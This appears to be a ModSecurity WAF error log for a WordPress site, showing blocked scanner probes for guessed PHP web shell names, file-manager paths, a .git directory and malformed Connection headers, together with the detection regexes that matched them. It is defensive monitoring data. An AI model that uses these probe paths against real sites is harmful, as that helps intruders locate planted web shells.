[Sun Jan 04 21:20:01.738734 2026] [:error] [pid 30985:tid 31015] [client 20.42.211.204:58174] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wen.php"] [unique_id "aVppAUisiM0XfzVcTWCjcwAAAcE"]
[Sun Jan 04 21:20:04.316515 2026] [:error] [pid 23903:tid 23914] [client 20.42.211.204:58139] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "aVppBD_yzB-omvQP-LLP3gAAAMU"]
[Sun Jan 04 21:20:05.402202 2026] [:error] [pid 30954:tid 30962] [client 20.42.211.204:35094] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "aVppBU4oIXUIQsb698re0AAAAQY"]
[Sun Jan 04 21:20:06.864855 2026] [:error] [pid 21720:tid 21725] [client 20.42.211.204:12284] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "aVppBn5pkDWzwRcldOpS2wAAAIM"]
[Sun Jan 04 21:20:08.129575 2026] [:error] [pid 29351:tid 29403] [client 20.42.211.204:44336] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/anz.php"] [unique_id "aVppCJtGiMsRmNcKXvo4rgAAAtM"]
[Sun Jan 04 21:20:09.901411 2026] [:error] [pid 23903:tid 23910] [client 20.42.211.204:41041] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aVppCT_yzB-omvQP-LLP8AAAAME"]
[Sun Jan 04 21:20:11.113754 2026] [:error] [pid 30985:tid 31034] [client 20.42.211.204:58154] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aVppC0isiM0XfzVcTWCjfQAAAdQ"]
[Sun Jan 04 21:20:11.320526 2026] [:error] [pid 30985:tid 31022] [client 20.42.211.204:18282] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aVppC0isiM0XfzVcTWCjfwAAAcg"]
[Sun Jan 04 21:20:12.371278 2026] [:error] [pid 31042:tid 31091] [client 20.42.211.204:44330] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bnn_.php"] [unique_id "aVppDBIvDwkaO5JnDaTGtQAAA0o"]
[Sun Jan 04 21:20:13.831067 2026] [:error] [pid 21720:tid 21734] [client 20.42.211.204:55511] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aVppDX5pkDWzwRcldOpS5QAAAIw"]
[Sun Jan 04 21:20:15.394744 2026] [:error] [pid 30985:tid 31023] [client 20.42.211.204:58163] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aVppD0isiM0XfzVcTWCjhwAAAck"]
[Sun Jan 04 21:20:16.917265 2026] [:error] [pid 17268:tid 17289] [client 20.42.211.204:44349] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aVppELPW8UB8HzRRfIdIVAAAAVI"]
[Sun Jan 04 21:20:18.130785 2026] [:error] [pid 21720:tid 21741] [client 20.42.211.204:17596] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/motu.php"] [unique_id "aVppEn5pkDWzwRcldOpS8wAAAJM"]
[Sun Jan 04 21:20:19.372020 2026] [:error] [pid 29351:tid 29389] [client 20.42.211.204:43338] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "aVppE5tGiMsRmNcKXvo4vAAAAsU"]
[Sun Jan 04 21:20:20.481759 2026] [:error] [pid 30954:tid 30956] [client 20.42.211.204:43334] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "aVppFE4oIXUIQsb698re7wAAAQA"]
[Sun Jan 04 21:20:21.847105 2026] [:error] [pid 30954:tid 30959] [client 20.42.211.204:12269] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "aVppFU4oIXUIQsb698re8gAAAQM"]
[Sun Jan 04 21:20:22.317540 2026] [:error] [pid 21720:tid 21723] [client 20.42.211.204:18243] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file66.php"] [unique_id "aVppFn5pkDWzwRcldOpS_QAAAIE"]
[Sun Jan 04 21:20:23.544304 2026] [:error] [pid 30954:tid 30969] [client 20.42.211.204:43351] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "aVppF04oIXUIQsb698re-wAAAQ0"]
[Sun Jan 04 21:20:24.924447 2026] [:error] [pid 29351:tid 29405] [client 20.42.211.204:17580] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "aVppGJtGiMsRmNcKXvo4xAAAAtU"]
[Sun Jan 04 21:20:26.686083 2026] [:error] [pid 30985:tid 31019] [client 20.42.211.204:43337] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "aVppGkisiM0XfzVcTWCjnAAAAcU"]
[Sun Jan 04 21:20:28.898315 2026] [:error] [pid 30954:tid 30970] [client 20.42.211.204:17548] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/kure.php"] [unique_id "aVppHE4oIXUIQsb698rfFwAAAQ4"]
[Sun Jan 04 21:20:29.979672 2026] [:error] [pid 30954:tid 30956] [client 20.42.211.204:47523] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "aVppHU4oIXUIQsb698rfHAAAAQA"]
[Sun Jan 04 21:20:32.172221 2026] [:error] [pid 17268:tid 17283] [client 20.42.211.204:17542] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "aVppILPW8UB8HzRRfIdIWQAAAUw"]
[Sun Jan 04 21:20:34.774113 2026] [:error] [pid 29350:tid 29380] [client 20.42.211.204:47486] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "aVppIlZWNWo1XwAbpfajWAAAApc"]
[Sun Jan 04 21:20:36.338306 2026] [:error] [pid 30985:tid 31019] [client 20.42.211.204:47430] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gaje.php"] [unique_id "aVppJEisiM0XfzVcTWCjpQAAAcU"]
[Sun Jan 04 21:20:37.572134 2026] [:error] [pid 1297:tid 1319] [client 20.42.211.204:17561] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aVppJRf98x0RBG23Pjfn-QAAABQ"]
[Sun Jan 04 21:20:40.727310 2026] [:error] [pid 29351:tid 29397] [client 20.42.211.204:47451] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aVppKJtGiMsRmNcKXvo41gAAAs0"]
[Sun Jan 04 21:20:43.441727 2026] [:error] [pid 17268:tid 17271] [client 20.42.211.204:43386] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aVppK7PW8UB8HzRRfIdIdQAAAUA"]
[Sun Jan 04 21:20:48.124802 2026] [:error] [pid 29351:tid 29395] [client 20.42.211.204:57457] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/blnux.php"] [unique_id "aVppMJtGiMsRmNcKXvo46wAAAss"]
[Sun Jan 04 21:20:48.758622 2026] [:error] [pid 30985:tid 31025] [client 20.42.211.204:47472] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "aVppMEisiM0XfzVcTWCjtQAAAcs"]
[Sun Jan 04 21:20:48.882062 2026] [:error] [pid 31042:tid 31102] [client 20.42.211.204:38830] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "aVppMBIvDwkaO5JnDaTGxQAAA1U"]
[Sun Jan 04 21:20:48.983445 2026] [:error] [pid 31042:tid 31082] [client 20.42.211.204:47510] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "aVppMBIvDwkaO5JnDaTGxgAAA0E"]
[Sun Jan 04 21:20:49.628645 2026] [:error] [pid 23868:tid 23897] [client 20.42.211.204:57460] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fgd.php"] [unique_id "aVppMbbaf-JYFyQL_05_-AAAAFU"]
[Sun Jan 04 21:20:50.881011 2026] [:error] [pid 17268:tid 17283] [client 20.42.211.204:57424] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "aVppMrPW8UB8HzRRfIdIggAAAUw"]
[Sun Jan 04 21:20:52.304484 2026] [:error] [pid 31042:tid 31105] [client 20.42.211.204:49647] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "aVppNBIvDwkaO5JnDaTGyQAAA1g"]
[Sun Jan 04 21:20:53.391199 2026] [:error] [pid 17268:tid 17273] [client 20.42.211.204:17557] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "aVppNbPW8UB8HzRRfIdIhAAAAUI"]
[Sun Jan 04 21:20:55.168522 2026] [:error] [pid 23868:tid 23888] [client 20.42.211.204:17539] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/msy.php"] [unique_id "aVppN7baf-JYFyQL_06AAQAAAEw"]
[Sun Jan 04 21:20:56.236946 2026] [:error] [pid 1297:tid 1306] [client 20.42.211.204:49661] [client 20.42.211.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alog.php"] [unique_id "aVppOBf98x0RBG23PjfoLgAAAAc"]
[Sun Jan 04 22:10:47.974756 2026] [:error] [pid 42666:tid 42700] [client 43.138.68.113:32814] [client 43.138.68.113] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVp05_c221c7vwWrOjcUEgAAAwM"]
[Sun Jan 04 23:03:58.599523 2026] [:error] [pid 50229:tid 50256] [client 20.205.97.96:65225] [client 20.205.97.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVqBXqhKBHGV8WZnitt98AAAANg"]
[Sun Jan 04 23:04:00.088224 2026] [:error] [pid 45949:tid 45954] [client 20.205.97.96:65234] [client 20.205.97.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVqBYKWUhIYCdxgkhpBVKgAAAgA"]
[Sun Jan 04 23:04:01.243611 2026] [:error] [pid 45949:tid 45964] [client 20.205.97.96:43330] [client 20.205.97.96] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/index.php/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "aVqBYaWUhIYCdxgkhpBVLAAAAgo"]
[Mon Jan 05 01:39:34.747647 2026] [:error] [pid 22540:tid 22591] [client 43.130.116.87:33930] [client 43.130.116.87] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVql1jQAa5AoSeJHBNp_wwAAABE"]
[Mon Jan 05 10:10:09.770067 2026] [:error] [pid 5536:tid 5601] [client 36.41.75.167:41730] [client 36.41.75.167] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVsdgQRtMZNG6xI8yDworQAAAIQ"]
[Mon Jan 05 14:18:17.617270 2026] [:error] [pid 54081:tid 54099] [client 43.157.170.13:41600] [client 43.157.170.13] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "aVtXqVL4jLgtF-b9w4crHAAAAU8"]
[Mon Jan 05 14:58:39.369350 2026] [:error] [pid 6680:tid 6689] [client 45.134.225.36:55566] [client 45.134.225.36] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/index"] [unique_id "aVthH6E58uNoazzTmx2WcgAAAQc"]
[Mon Jan 05 16:26:50.755863 2026] [:error] [pid 5632:tid 5655] [client 223.244.35.77:55647] [client 223.244.35.77] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aVt1yoN3ZWvlOh-nbt-IWAAAAMs"]
[Mon Jan 05 16:53:27.127092 2026] [:error] [pid 6680:tid 6694] [client 45.67.97.20:37645] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aVt8B6E58uNoazzTmx20GwAAAQw"]
[Mon Jan 05 16:53:29.229444 2026] [:error] [pid 5534:tid 5547] [client 45.67.97.20:63411] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aVt8CZNs9XmbR6unB0xyiQAAAAQ"]
[Mon Jan 05 16:53:32.720818 2026] [:error] [pid 5534:tid 5548] [client 45.67.97.20:30915] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aVt8DJNs9XmbR6unB0xymgAAAAU"]
[Mon Jan 05 16:53:35.020168 2026] [:error] [pid 6680:tid 6688] [client 45.67.97.195:45885] [client 45.67.97.195] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aVt8D6E58uNoazzTmx20JwAAAQY"]
[Mon Jan 05 16:53:38.494050 2026] [:error] [pid 5632:tid 5657] [client 45.67.97.20:28577] [client 45.67.97.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aVt8EoN3ZWvlOh-nbt-PFQAAAM0"]
